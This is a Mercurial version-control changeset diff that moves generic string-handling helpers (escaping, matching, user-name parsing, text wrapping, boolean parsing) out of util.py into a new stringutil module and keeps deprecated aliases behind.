##// END OF EJS Templates
stringutil: move generic string helpers to new module...
Yuya Nishihara -
r37101:f99d64e8 default
parent child Browse files
Show More
@@ -17,7 +17,6 b' from __future__ import absolute_import, '
17
17
18 import abc
18 import abc
19 import bz2
19 import bz2
20 import codecs
21 import collections
20 import collections
22 import contextlib
21 import contextlib
23 import errno
22 import errno
@@ -37,7 +36,6 b' import stat'
37 import subprocess
36 import subprocess
38 import sys
37 import sys
39 import tempfile
38 import tempfile
40 import textwrap
41 import time
39 import time
42 import traceback
40 import traceback
43 import warnings
41 import warnings
@@ -52,7 +50,10 b' from . import ('
52 pycompat,
50 pycompat,
53 urllibcompat,
51 urllibcompat,
54 )
52 )
55 from .utils import dateutil
53 from .utils import (
54 dateutil,
55 stringutil,
56 )
56
57
57 base85 = policy.importmod(r'base85')
58 base85 = policy.importmod(r'base85')
58 osutil = policy.importmod(r'osutil')
59 osutil = policy.importmod(r'osutil')
@@ -808,20 +809,6 b' class socketproxy(object):'
808 return object.__getattribute__(self, r'_observedcall')(
809 return object.__getattribute__(self, r'_observedcall')(
809 r'setsockopt', *args, **kwargs)
810 r'setsockopt', *args, **kwargs)
810
811
811 _DATA_ESCAPE_MAP = {pycompat.bytechr(i): br'\x%02x' % i for i in range(256)}
812 _DATA_ESCAPE_MAP.update({
813 b'\\': b'\\\\',
814 b'\r': br'\r',
815 b'\n': br'\n',
816 })
817 _DATA_ESCAPE_RE = remod.compile(br'[\x00-\x08\x0a-\x1f\\\x7f-\xff]')
818
819 def escapedata(s):
820 if isinstance(s, bytearray):
821 s = bytes(s)
822
823 return _DATA_ESCAPE_RE.sub(lambda m: _DATA_ESCAPE_MAP[m.group(0)], s)
824
825 class baseproxyobserver(object):
812 class baseproxyobserver(object):
826 def _writedata(self, data):
813 def _writedata(self, data):
827 if not self.logdata:
814 if not self.logdata:
@@ -1567,10 +1554,6 b' def filter(s, cmd):'
1567 return fn(s, cmd[len(name):].lstrip())
1554 return fn(s, cmd[len(name):].lstrip())
1568 return pipefilter(s, cmd)
1555 return pipefilter(s, cmd)
1569
1556
1570 def binary(s):
1571 """return true if a string is binary data"""
1572 return bool(s and '\0' in s)
1573
1574 def increasingchunks(source, min=1024, max=65536):
1557 def increasingchunks(source, min=1024, max=65536):
1575 '''return no less than min bytes per chunk while data remains,
1558 '''return no less than min bytes per chunk while data remains,
1576 doubling min after each chunk until it reaches max'''
1559 doubling min after each chunk until it reaches max'''
@@ -2571,102 +2554,6 b' class cappedreader(object):'
2571 b[0:len(res)] = res
2554 b[0:len(res)] = res
2572 return len(res)
2555 return len(res)
2573
2556
2574 def stringmatcher(pattern, casesensitive=True):
2575 """
2576 accepts a string, possibly starting with 're:' or 'literal:' prefix.
2577 returns the matcher name, pattern, and matcher function.
2578 missing or unknown prefixes are treated as literal matches.
2579
2580 helper for tests:
2581 >>> def test(pattern, *tests):
2582 ... kind, pattern, matcher = stringmatcher(pattern)
2583 ... return (kind, pattern, [bool(matcher(t)) for t in tests])
2584 >>> def itest(pattern, *tests):
2585 ... kind, pattern, matcher = stringmatcher(pattern, casesensitive=False)
2586 ... return (kind, pattern, [bool(matcher(t)) for t in tests])
2587
2588 exact matching (no prefix):
2589 >>> test(b'abcdefg', b'abc', b'def', b'abcdefg')
2590 ('literal', 'abcdefg', [False, False, True])
2591
2592 regex matching ('re:' prefix)
2593 >>> test(b're:a.+b', b'nomatch', b'fooadef', b'fooadefbar')
2594 ('re', 'a.+b', [False, False, True])
2595
2596 force exact matches ('literal:' prefix)
2597 >>> test(b'literal:re:foobar', b'foobar', b're:foobar')
2598 ('literal', 're:foobar', [False, True])
2599
2600 unknown prefixes are ignored and treated as literals
2601 >>> test(b'foo:bar', b'foo', b'bar', b'foo:bar')
2602 ('literal', 'foo:bar', [False, False, True])
2603
2604 case insensitive regex matches
2605 >>> itest(b're:A.+b', b'nomatch', b'fooadef', b'fooadefBar')
2606 ('re', 'A.+b', [False, False, True])
2607
2608 case insensitive literal matches
2609 >>> itest(b'ABCDEFG', b'abc', b'def', b'abcdefg')
2610 ('literal', 'ABCDEFG', [False, False, True])
2611 """
2612 if pattern.startswith('re:'):
2613 pattern = pattern[3:]
2614 try:
2615 flags = 0
2616 if not casesensitive:
2617 flags = remod.I
2618 regex = remod.compile(pattern, flags)
2619 except remod.error as e:
2620 raise error.ParseError(_('invalid regular expression: %s')
2621 % e)
2622 return 're', pattern, regex.search
2623 elif pattern.startswith('literal:'):
2624 pattern = pattern[8:]
2625
2626 match = pattern.__eq__
2627
2628 if not casesensitive:
2629 ipat = encoding.lower(pattern)
2630 match = lambda s: ipat == encoding.lower(s)
2631 return 'literal', pattern, match
2632
2633 def shortuser(user):
2634 """Return a short representation of a user name or email address."""
2635 f = user.find('@')
2636 if f >= 0:
2637 user = user[:f]
2638 f = user.find('<')
2639 if f >= 0:
2640 user = user[f + 1:]
2641 f = user.find(' ')
2642 if f >= 0:
2643 user = user[:f]
2644 f = user.find('.')
2645 if f >= 0:
2646 user = user[:f]
2647 return user
2648
2649 def emailuser(user):
2650 """Return the user portion of an email address."""
2651 f = user.find('@')
2652 if f >= 0:
2653 user = user[:f]
2654 f = user.find('<')
2655 if f >= 0:
2656 user = user[f + 1:]
2657 return user
2658
2659 def email(author):
2660 '''get email of author.'''
2661 r = author.find('>')
2662 if r == -1:
2663 r = None
2664 return author[author.find('<') + 1:r]
2665
2666 def ellipsis(text, maxlength=400):
2667 """Trim string to at most maxlength (default: 400) columns in display."""
2668 return encoding.trim(text, maxlength, ellipsis='...')
2669
2670 def unitcountfn(*unittable):
2557 def unitcountfn(*unittable):
2671 '''return a function that renders a readable count of some quantity'''
2558 '''return a function that renders a readable count of some quantity'''
2672
2559
@@ -2751,147 +2638,6 b' else:'
2751 fromnativeeol = pycompat.identity
2638 fromnativeeol = pycompat.identity
2752 nativeeolwriter = pycompat.identity
2639 nativeeolwriter = pycompat.identity
2753
2640
2754 def escapestr(s):
2755 # call underlying function of s.encode('string_escape') directly for
2756 # Python 3 compatibility
2757 return codecs.escape_encode(s)[0]
2758
2759 def unescapestr(s):
2760 return codecs.escape_decode(s)[0]
2761
2762 def forcebytestr(obj):
2763 """Portably format an arbitrary object (e.g. exception) into a byte
2764 string."""
2765 try:
2766 return pycompat.bytestr(obj)
2767 except UnicodeEncodeError:
2768 # non-ascii string, may be lossy
2769 return pycompat.bytestr(encoding.strtolocal(str(obj)))
2770
2771 def uirepr(s):
2772 # Avoid double backslash in Windows path repr()
2773 return pycompat.byterepr(pycompat.bytestr(s)).replace(b'\\\\', b'\\')
2774
2775 # delay import of textwrap
2776 def _MBTextWrapper(**kwargs):
2777 class tw(textwrap.TextWrapper):
2778 """
2779 Extend TextWrapper for width-awareness.
2780
2781 Neither number of 'bytes' in any encoding nor 'characters' is
2782 appropriate to calculate terminal columns for specified string.
2783
2784 Original TextWrapper implementation uses built-in 'len()' directly,
2785 so overriding is needed to use width information of each characters.
2786
2787 In addition, characters classified into 'ambiguous' width are
2788 treated as wide in East Asian area, but as narrow in other.
2789
2790 This requires use decision to determine width of such characters.
2791 """
2792 def _cutdown(self, ucstr, space_left):
2793 l = 0
2794 colwidth = encoding.ucolwidth
2795 for i in xrange(len(ucstr)):
2796 l += colwidth(ucstr[i])
2797 if space_left < l:
2798 return (ucstr[:i], ucstr[i:])
2799 return ucstr, ''
2800
2801 # overriding of base class
2802 def _handle_long_word(self, reversed_chunks, cur_line, cur_len, width):
2803 space_left = max(width - cur_len, 1)
2804
2805 if self.break_long_words:
2806 cut, res = self._cutdown(reversed_chunks[-1], space_left)
2807 cur_line.append(cut)
2808 reversed_chunks[-1] = res
2809 elif not cur_line:
2810 cur_line.append(reversed_chunks.pop())
2811
2812 # this overriding code is imported from TextWrapper of Python 2.6
2813 # to calculate columns of string by 'encoding.ucolwidth()'
2814 def _wrap_chunks(self, chunks):
2815 colwidth = encoding.ucolwidth
2816
2817 lines = []
2818 if self.width <= 0:
2819 raise ValueError("invalid width %r (must be > 0)" % self.width)
2820
2821 # Arrange in reverse order so items can be efficiently popped
2822 # from a stack of chucks.
2823 chunks.reverse()
2824
2825 while chunks:
2826
2827 # Start the list of chunks that will make up the current line.
2828 # cur_len is just the length of all the chunks in cur_line.
2829 cur_line = []
2830 cur_len = 0
2831
2832 # Figure out which static string will prefix this line.
2833 if lines:
2834 indent = self.subsequent_indent
2835 else:
2836 indent = self.initial_indent
2837
2838 # Maximum width for this line.
2839 width = self.width - len(indent)
2840
2841 # First chunk on line is whitespace -- drop it, unless this
2842 # is the very beginning of the text (i.e. no lines started yet).
2843 if self.drop_whitespace and chunks[-1].strip() == r'' and lines:
2844 del chunks[-1]
2845
2846 while chunks:
2847 l = colwidth(chunks[-1])
2848
2849 # Can at least squeeze this chunk onto the current line.
2850 if cur_len + l <= width:
2851 cur_line.append(chunks.pop())
2852 cur_len += l
2853
2854 # Nope, this line is full.
2855 else:
2856 break
2857
2858 # The current line is full, and the next chunk is too big to
2859 # fit on *any* line (not just this one).
2860 if chunks and colwidth(chunks[-1]) > width:
2861 self._handle_long_word(chunks, cur_line, cur_len, width)
2862
2863 # If the last chunk on this line is all whitespace, drop it.
2864 if (self.drop_whitespace and
2865 cur_line and cur_line[-1].strip() == r''):
2866 del cur_line[-1]
2867
2868 # Convert current line back to a string and store it in list
2869 # of all lines (return value).
2870 if cur_line:
2871 lines.append(indent + r''.join(cur_line))
2872
2873 return lines
2874
2875 global _MBTextWrapper
2876 _MBTextWrapper = tw
2877 return tw(**kwargs)
2878
2879 def wrap(line, width, initindent='', hangindent=''):
2880 maxindent = max(len(hangindent), len(initindent))
2881 if width <= maxindent:
2882 # adjust for weird terminal size
2883 width = max(78, maxindent + 1)
2884 line = line.decode(pycompat.sysstr(encoding.encoding),
2885 pycompat.sysstr(encoding.encodingmode))
2886 initindent = initindent.decode(pycompat.sysstr(encoding.encoding),
2887 pycompat.sysstr(encoding.encodingmode))
2888 hangindent = hangindent.decode(pycompat.sysstr(encoding.encoding),
2889 pycompat.sysstr(encoding.encodingmode))
2890 wrapper = _MBTextWrapper(width=width,
2891 initial_indent=initindent,
2892 subsequent_indent=hangindent)
2893 return wrapper.fill(line).encode(pycompat.sysstr(encoding.encoding))
2894
2895 if (pyplatform.python_implementation() == 'CPython' and
2641 if (pyplatform.python_implementation() == 'CPython' and
2896 sys.version_info < (3, 0)):
2642 sys.version_info < (3, 0)):
2897 # There is an issue in CPython that some IO methods do not handle EINTR
2643 # There is an issue in CPython that some IO methods do not handle EINTR
@@ -3064,17 +2810,6 b' def getport(port):'
3064 except socket.error:
2810 except socket.error:
3065 raise Abort(_("no port number associated with service '%s'") % port)
2811 raise Abort(_("no port number associated with service '%s'") % port)
3066
2812
3067 _booleans = {'1': True, 'yes': True, 'true': True, 'on': True, 'always': True,
3068 '0': False, 'no': False, 'false': False, 'off': False,
3069 'never': False}
3070
3071 def parsebool(s):
3072 """Parse s into a boolean.
3073
3074 If s is not a valid boolean, returns None.
3075 """
3076 return _booleans.get(s.lower(), None)
3077
3078 class url(object):
2813 class url(object):
3079 r"""Reliable URL parser.
2814 r"""Reliable URL parser.
3080
2815
@@ -4341,3 +4076,19 b' parsetimezone = _deprecatedfunc(dateutil'
4341 strdate = _deprecatedfunc(dateutil.strdate, '4.6')
4076 strdate = _deprecatedfunc(dateutil.strdate, '4.6')
4342 parsedate = _deprecatedfunc(dateutil.parsedate, '4.6')
4077 parsedate = _deprecatedfunc(dateutil.parsedate, '4.6')
4343 matchdate = _deprecatedfunc(dateutil.matchdate, '4.6')
4078 matchdate = _deprecatedfunc(dateutil.matchdate, '4.6')
4079
4080 def _deprecatedfunc(func, version): # TODO
4081 return func
4082 escapedata = _deprecatedfunc(stringutil.escapedata, '4.6')
4083 binary = _deprecatedfunc(stringutil.binary, '4.6')
4084 stringmatcher = _deprecatedfunc(stringutil.stringmatcher, '4.6')
4085 shortuser = _deprecatedfunc(stringutil.shortuser, '4.6')
4086 emailuser = _deprecatedfunc(stringutil.emailuser, '4.6')
4087 email = _deprecatedfunc(stringutil.email, '4.6')
4088 ellipsis = _deprecatedfunc(stringutil.ellipsis, '4.6')
4089 escapestr = _deprecatedfunc(stringutil.escapestr, '4.6')
4090 unescapestr = _deprecatedfunc(stringutil.unescapestr, '4.6')
4091 forcebytestr = _deprecatedfunc(stringutil.forcebytestr, '4.6')
4092 uirepr = _deprecatedfunc(stringutil.uirepr, '4.6')
4093 wrap = _deprecatedfunc(stringutil.wrap, '4.6')
4094 parsebool = _deprecatedfunc(stringutil.parsebool, '4.6')
This diff has been collapsed as it changes many lines, (4065 lines changed) Show them Hide them
@@ -1,4 +1,4 b''
1 # util.py - Mercurial utility functions and platform specific implementations
1 # stringutil.py - utility for generic string formatting, parsing, etc.
2 #
2 #
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
@@ -7,806 +7,19 b''
7 # This software may be used and distributed according to the terms of the
7 # This software may be used and distributed according to the terms of the
8 # GNU General Public License version 2 or any later version.
8 # GNU General Public License version 2 or any later version.
9
9
10 """Mercurial utility functions and platform specific implementations.
10 from __future__ import absolute_import
11
11
12 This contains helper routines that are independent of the SCM core and
13 hide platform-specific details from the core.
14 """
15
16 from __future__ import absolute_import, print_function
17
18 import abc
19 import bz2
20 import codecs
12 import codecs
21 import collections
22 import contextlib
23 import errno
24 import gc
25 import hashlib
26 import imp
27 import io
28 import itertools
29 import mmap
30 import os
31 import platform as pyplatform
32 import re as remod
13 import re as remod
33 import shutil
34 import signal
35 import socket
36 import stat
37 import subprocess
38 import sys
39 import tempfile
40 import textwrap
14 import textwrap
41 import time
42 import traceback
43 import warnings
44 import zlib
45
15
46 from . import (
16 from ..i18n import _
17
18 from .. import (
47 encoding,
19 encoding,
48 error,
20 error,
49 i18n,
50 node as nodemod,
51 policy,
52 pycompat,
21 pycompat,
53 urllibcompat,
54 )
22 )
55 from .utils import dateutil
56
57 base85 = policy.importmod(r'base85')
58 osutil = policy.importmod(r'osutil')
59 parsers = policy.importmod(r'parsers')
60
61 b85decode = base85.b85decode
62 b85encode = base85.b85encode
63
64 cookielib = pycompat.cookielib
65 empty = pycompat.empty
66 httplib = pycompat.httplib
67 pickle = pycompat.pickle
68 queue = pycompat.queue
69 socketserver = pycompat.socketserver
70 stderr = pycompat.stderr
71 stdin = pycompat.stdin
72 stdout = pycompat.stdout
73 bytesio = pycompat.bytesio
74 # TODO deprecate stringio name, as it is a lie on Python 3.
75 stringio = bytesio
76 xmlrpclib = pycompat.xmlrpclib
77
78 httpserver = urllibcompat.httpserver
79 urlerr = urllibcompat.urlerr
80 urlreq = urllibcompat.urlreq
81
82 # workaround for win32mbcs
83 _filenamebytestr = pycompat.bytestr
84
85 def isatty(fp):
86 try:
87 return fp.isatty()
88 except AttributeError:
89 return False
90
91 # glibc determines buffering on first write to stdout - if we replace a TTY
92 # destined stdout with a pipe destined stdout (e.g. pager), we want line
93 # buffering
94 if isatty(stdout):
95 stdout = os.fdopen(stdout.fileno(), r'wb', 1)
96
97 if pycompat.iswindows:
98 from . import windows as platform
99 stdout = platform.winstdout(stdout)
100 else:
101 from . import posix as platform
102
103 _ = i18n._
104
105 bindunixsocket = platform.bindunixsocket
106 cachestat = platform.cachestat
107 checkexec = platform.checkexec
108 checklink = platform.checklink
109 copymode = platform.copymode
110 executablepath = platform.executablepath
111 expandglobs = platform.expandglobs
112 explainexit = platform.explainexit
113 findexe = platform.findexe
114 getfsmountpoint = platform.getfsmountpoint
115 getfstype = platform.getfstype
116 gethgcmd = platform.gethgcmd
117 getuser = platform.getuser
118 getpid = os.getpid
119 groupmembers = platform.groupmembers
120 groupname = platform.groupname
121 hidewindow = platform.hidewindow
122 isexec = platform.isexec
123 isowner = platform.isowner
124 listdir = osutil.listdir
125 localpath = platform.localpath
126 lookupreg = platform.lookupreg
127 makedir = platform.makedir
128 nlinks = platform.nlinks
129 normpath = platform.normpath
130 normcase = platform.normcase
131 normcasespec = platform.normcasespec
132 normcasefallback = platform.normcasefallback
133 openhardlinks = platform.openhardlinks
134 oslink = platform.oslink
135 parsepatchoutput = platform.parsepatchoutput
136 pconvert = platform.pconvert
137 poll = platform.poll
138 popen = platform.popen
139 posixfile = platform.posixfile
140 quotecommand = platform.quotecommand
141 readpipe = platform.readpipe
142 rename = platform.rename
143 removedirs = platform.removedirs
144 samedevice = platform.samedevice
145 samefile = platform.samefile
146 samestat = platform.samestat
147 setbinary = platform.setbinary
148 setflags = platform.setflags
149 setsignalhandler = platform.setsignalhandler
150 shellquote = platform.shellquote
151 shellsplit = platform.shellsplit
152 spawndetached = platform.spawndetached
153 split = platform.split
154 sshargs = platform.sshargs
155 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
156 statisexec = platform.statisexec
157 statislink = platform.statislink
158 testpid = platform.testpid
159 umask = platform.umask
160 unlink = platform.unlink
161 username = platform.username
162
163 try:
164 recvfds = osutil.recvfds
165 except AttributeError:
166 pass
167 try:
168 setprocname = osutil.setprocname
169 except AttributeError:
170 pass
171 try:
172 unblocksignal = osutil.unblocksignal
173 except AttributeError:
174 pass
175
176 # Python compatibility
177
178 _notset = object()
179
180 def safehasattr(thing, attr):
181 return getattr(thing, attr, _notset) is not _notset
182
183 def _rapply(f, xs):
184 if xs is None:
185 # assume None means non-value of optional data
186 return xs
187 if isinstance(xs, (list, set, tuple)):
188 return type(xs)(_rapply(f, x) for x in xs)
189 if isinstance(xs, dict):
190 return type(xs)((_rapply(f, k), _rapply(f, v)) for k, v in xs.items())
191 return f(xs)
192
193 def rapply(f, xs):
194 """Apply function recursively to every item preserving the data structure
195
196 >>> def f(x):
197 ... return 'f(%s)' % x
198 >>> rapply(f, None) is None
199 True
200 >>> rapply(f, 'a')
201 'f(a)'
202 >>> rapply(f, {'a'}) == {'f(a)'}
203 True
204 >>> rapply(f, ['a', 'b', None, {'c': 'd'}, []])
205 ['f(a)', 'f(b)', None, {'f(c)': 'f(d)'}, []]
206
207 >>> xs = [object()]
208 >>> rapply(pycompat.identity, xs) is xs
209 True
210 """
211 if f is pycompat.identity:
212 # fast path mainly for py2
213 return xs
214 return _rapply(f, xs)
215
216 def bitsfrom(container):
217 bits = 0
218 for bit in container:
219 bits |= bit
220 return bits
221
222 # python 2.6 still have deprecation warning enabled by default. We do not want
223 # to display anything to standard user so detect if we are running test and
224 # only use python deprecation warning in this case.
225 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
226 if _dowarn:
227 # explicitly unfilter our warning for python 2.7
228 #
229 # The option of setting PYTHONWARNINGS in the test runner was investigated.
230 # However, module name set through PYTHONWARNINGS was exactly matched, so
231 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
232 # makes the whole PYTHONWARNINGS thing useless for our usecase.
233 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
234 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
235 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
236 if _dowarn and pycompat.ispy3:
237 # silence warning emitted by passing user string to re.sub()
238 warnings.filterwarnings(r'ignore', r'bad escape', DeprecationWarning,
239 r'mercurial')
240 warnings.filterwarnings(r'ignore', r'invalid escape sequence',
241 DeprecationWarning, r'mercurial')
242
243 def nouideprecwarn(msg, version, stacklevel=1):
244 """Issue an python native deprecation warning
245
246 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
247 """
248 if _dowarn:
249 msg += ("\n(compatibility will be dropped after Mercurial-%s,"
250 " update your code.)") % version
251 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
252
253 DIGESTS = {
254 'md5': hashlib.md5,
255 'sha1': hashlib.sha1,
256 'sha512': hashlib.sha512,
257 }
258 # List of digest types from strongest to weakest
259 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']
260
261 for k in DIGESTS_BY_STRENGTH:
262 assert k in DIGESTS
263
264 class digester(object):
265 """helper to compute digests.
266
267 This helper can be used to compute one or more digests given their name.
268
269 >>> d = digester([b'md5', b'sha1'])
270 >>> d.update(b'foo')
271 >>> [k for k in sorted(d)]
272 ['md5', 'sha1']
273 >>> d[b'md5']
274 'acbd18db4cc2f85cedef654fccc4a4d8'
275 >>> d[b'sha1']
276 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
277 >>> digester.preferred([b'md5', b'sha1'])
278 'sha1'
279 """
280
281 def __init__(self, digests, s=''):
282 self._hashes = {}
283 for k in digests:
284 if k not in DIGESTS:
285 raise Abort(_('unknown digest type: %s') % k)
286 self._hashes[k] = DIGESTS[k]()
287 if s:
288 self.update(s)
289
290 def update(self, data):
291 for h in self._hashes.values():
292 h.update(data)
293
294 def __getitem__(self, key):
295 if key not in DIGESTS:
296 raise Abort(_('unknown digest type: %s') % k)
297 return nodemod.hex(self._hashes[key].digest())
298
299 def __iter__(self):
300 return iter(self._hashes)
301
302 @staticmethod
303 def preferred(supported):
304 """returns the strongest digest type in both supported and DIGESTS."""
305
306 for k in DIGESTS_BY_STRENGTH:
307 if k in supported:
308 return k
309 return None
310
311 class digestchecker(object):
312 """file handle wrapper that additionally checks content against a given
313 size and digests.
314
315 d = digestchecker(fh, size, {'md5': '...'})
316
317 When multiple digests are given, all of them are validated.
318 """
319
320 def __init__(self, fh, size, digests):
321 self._fh = fh
322 self._size = size
323 self._got = 0
324 self._digests = dict(digests)
325 self._digester = digester(self._digests.keys())
326
327 def read(self, length=-1):
328 content = self._fh.read(length)
329 self._digester.update(content)
330 self._got += len(content)
331 return content
332
333 def validate(self):
334 if self._size != self._got:
335 raise Abort(_('size mismatch: expected %d, got %d') %
336 (self._size, self._got))
337 for k, v in self._digests.items():
338 if v != self._digester[k]:
339 # i18n: first parameter is a digest name
340 raise Abort(_('%s mismatch: expected %s, got %s') %
341 (k, v, self._digester[k]))
342
343 try:
344 buffer = buffer
345 except NameError:
346 def buffer(sliceable, offset=0, length=None):
347 if length is not None:
348 return memoryview(sliceable)[offset:offset + length]
349 return memoryview(sliceable)[offset:]
350
351 closefds = pycompat.isposix
352
353 _chunksize = 4096
354
355 class bufferedinputpipe(object):
356 """a manually buffered input pipe
357
358 Python will not let us use buffered IO and lazy reading with 'polling' at
359 the same time. We cannot probe the buffer state and select will not detect
360 that data are ready to read if they are already buffered.
361
362 This class let us work around that by implementing its own buffering
363 (allowing efficient readline) while offering a way to know if the buffer is
364 empty from the output (allowing collaboration of the buffer with polling).
365
366 This class lives in the 'util' module because it makes use of the 'os'
367 module from the python stdlib.
368 """
369 def __new__(cls, fh):
370 # If we receive a fileobjectproxy, we need to use a variation of this
371 # class that notifies observers about activity.
372 if isinstance(fh, fileobjectproxy):
373 cls = observedbufferedinputpipe
374
375 return super(bufferedinputpipe, cls).__new__(cls)
376
377 def __init__(self, input):
378 self._input = input
379 self._buffer = []
380 self._eof = False
381 self._lenbuf = 0
382
383 @property
384 def hasbuffer(self):
385 """True is any data is currently buffered
386
387 This will be used externally a pre-step for polling IO. If there is
388 already data then no polling should be set in place."""
389 return bool(self._buffer)
390
391 @property
392 def closed(self):
393 return self._input.closed
394
395 def fileno(self):
396 return self._input.fileno()
397
398 def close(self):
399 return self._input.close()
400
401 def read(self, size):
402 while (not self._eof) and (self._lenbuf < size):
403 self._fillbuffer()
404 return self._frombuffer(size)
405
406 def readline(self, *args, **kwargs):
407 if 1 < len(self._buffer):
408 # this should not happen because both read and readline end with a
409 # _frombuffer call that collapse it.
410 self._buffer = [''.join(self._buffer)]
411 self._lenbuf = len(self._buffer[0])
412 lfi = -1
413 if self._buffer:
414 lfi = self._buffer[-1].find('\n')
415 while (not self._eof) and lfi < 0:
416 self._fillbuffer()
417 if self._buffer:
418 lfi = self._buffer[-1].find('\n')
419 size = lfi + 1
420 if lfi < 0: # end of file
421 size = self._lenbuf
422 elif 1 < len(self._buffer):
423 # we need to take previous chunks into account
424 size += self._lenbuf - len(self._buffer[-1])
425 return self._frombuffer(size)
426
427 def _frombuffer(self, size):
428 """return at most 'size' data from the buffer
429
430 The data are removed from the buffer."""
431 if size == 0 or not self._buffer:
432 return ''
433 buf = self._buffer[0]
434 if 1 < len(self._buffer):
435 buf = ''.join(self._buffer)
436
437 data = buf[:size]
438 buf = buf[len(data):]
439 if buf:
440 self._buffer = [buf]
441 self._lenbuf = len(buf)
442 else:
443 self._buffer = []
444 self._lenbuf = 0
445 return data
446
447 def _fillbuffer(self):
448 """read data to the buffer"""
449 data = os.read(self._input.fileno(), _chunksize)
450 if not data:
451 self._eof = True
452 else:
453 self._lenbuf += len(data)
454 self._buffer.append(data)
455
456 return data
457
458 def mmapread(fp):
459 try:
460 fd = getattr(fp, 'fileno', lambda: fp)()
461 return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
462 except ValueError:
463 # Empty files cannot be mmapped, but mmapread should still work. Check
464 # if the file is empty, and if so, return an empty buffer.
465 if os.fstat(fd).st_size == 0:
466 return ''
467 raise
468
469 def popen2(cmd, env=None, newlines=False):
470 # Setting bufsize to -1 lets the system decide the buffer size.
471 # The default for bufsize is 0, meaning unbuffered. This leads to
472 # poor performance on Mac OS X: http://bugs.python.org/issue4194
473 p = subprocess.Popen(cmd, shell=True, bufsize=-1,
474 close_fds=closefds,
475 stdin=subprocess.PIPE, stdout=subprocess.PIPE,
476 universal_newlines=newlines,
477 env=env)
478 return p.stdin, p.stdout
479
480 def popen3(cmd, env=None, newlines=False):
481 stdin, stdout, stderr, p = popen4(cmd, env, newlines)
482 return stdin, stdout, stderr
483
484 def popen4(cmd, env=None, newlines=False, bufsize=-1):
485 p = subprocess.Popen(cmd, shell=True, bufsize=bufsize,
486 close_fds=closefds,
487 stdin=subprocess.PIPE, stdout=subprocess.PIPE,
488 stderr=subprocess.PIPE,
489 universal_newlines=newlines,
490 env=env)
491 return p.stdin, p.stdout, p.stderr, p
492
493 class fileobjectproxy(object):
494 """A proxy around file objects that tells a watcher when events occur.
495
496 This type is intended to only be used for testing purposes. Think hard
497 before using it in important code.
498 """
499 __slots__ = (
500 r'_orig',
501 r'_observer',
502 )
503
504 def __init__(self, fh, observer):
505 object.__setattr__(self, r'_orig', fh)
506 object.__setattr__(self, r'_observer', observer)
507
508 def __getattribute__(self, name):
509 ours = {
510 r'_observer',
511
512 # IOBase
513 r'close',
514 # closed if a property
515 r'fileno',
516 r'flush',
517 r'isatty',
518 r'readable',
519 r'readline',
520 r'readlines',
521 r'seek',
522 r'seekable',
523 r'tell',
524 r'truncate',
525 r'writable',
526 r'writelines',
527 # RawIOBase
528 r'read',
529 r'readall',
530 r'readinto',
531 r'write',
532 # BufferedIOBase
533 # raw is a property
534 r'detach',
535 # read defined above
536 r'read1',
537 # readinto defined above
538 # write defined above
539 }
540
541 # We only observe some methods.
542 if name in ours:
543 return object.__getattribute__(self, name)
544
545 return getattr(object.__getattribute__(self, r'_orig'), name)
546
547 def __nonzero__(self):
548 return bool(object.__getattribute__(self, r'_orig'))
549
550 __bool__ = __nonzero__
551
552 def __delattr__(self, name):
553 return delattr(object.__getattribute__(self, r'_orig'), name)
554
555 def __setattr__(self, name, value):
556 return setattr(object.__getattribute__(self, r'_orig'), name, value)
557
558 def __iter__(self):
559 return object.__getattribute__(self, r'_orig').__iter__()
560
561 def _observedcall(self, name, *args, **kwargs):
562 # Call the original object.
563 orig = object.__getattribute__(self, r'_orig')
564 res = getattr(orig, name)(*args, **kwargs)
565
566 # Call a method on the observer of the same name with arguments
567 # so it can react, log, etc.
568 observer = object.__getattribute__(self, r'_observer')
569 fn = getattr(observer, name, None)
570 if fn:
571 fn(res, *args, **kwargs)
572
573 return res
574
575 def close(self, *args, **kwargs):
576 return object.__getattribute__(self, r'_observedcall')(
577 r'close', *args, **kwargs)
578
579 def fileno(self, *args, **kwargs):
580 return object.__getattribute__(self, r'_observedcall')(
581 r'fileno', *args, **kwargs)
582
583 def flush(self, *args, **kwargs):
584 return object.__getattribute__(self, r'_observedcall')(
585 r'flush', *args, **kwargs)
586
587 def isatty(self, *args, **kwargs):
588 return object.__getattribute__(self, r'_observedcall')(
589 r'isatty', *args, **kwargs)
590
591 def readable(self, *args, **kwargs):
592 return object.__getattribute__(self, r'_observedcall')(
593 r'readable', *args, **kwargs)
594
595 def readline(self, *args, **kwargs):
596 return object.__getattribute__(self, r'_observedcall')(
597 r'readline', *args, **kwargs)
598
599 def readlines(self, *args, **kwargs):
600 return object.__getattribute__(self, r'_observedcall')(
601 r'readlines', *args, **kwargs)
602
603 def seek(self, *args, **kwargs):
604 return object.__getattribute__(self, r'_observedcall')(
605 r'seek', *args, **kwargs)
606
607 def seekable(self, *args, **kwargs):
608 return object.__getattribute__(self, r'_observedcall')(
609 r'seekable', *args, **kwargs)
610
611 def tell(self, *args, **kwargs):
612 return object.__getattribute__(self, r'_observedcall')(
613 r'tell', *args, **kwargs)
614
615 def truncate(self, *args, **kwargs):
616 return object.__getattribute__(self, r'_observedcall')(
617 r'truncate', *args, **kwargs)
618
619 def writable(self, *args, **kwargs):
620 return object.__getattribute__(self, r'_observedcall')(
621 r'writable', *args, **kwargs)
622
623 def writelines(self, *args, **kwargs):
624 return object.__getattribute__(self, r'_observedcall')(
625 r'writelines', *args, **kwargs)
626
627 def read(self, *args, **kwargs):
628 return object.__getattribute__(self, r'_observedcall')(
629 r'read', *args, **kwargs)
630
631 def readall(self, *args, **kwargs):
632 return object.__getattribute__(self, r'_observedcall')(
633 r'readall', *args, **kwargs)
634
635 def readinto(self, *args, **kwargs):
636 return object.__getattribute__(self, r'_observedcall')(
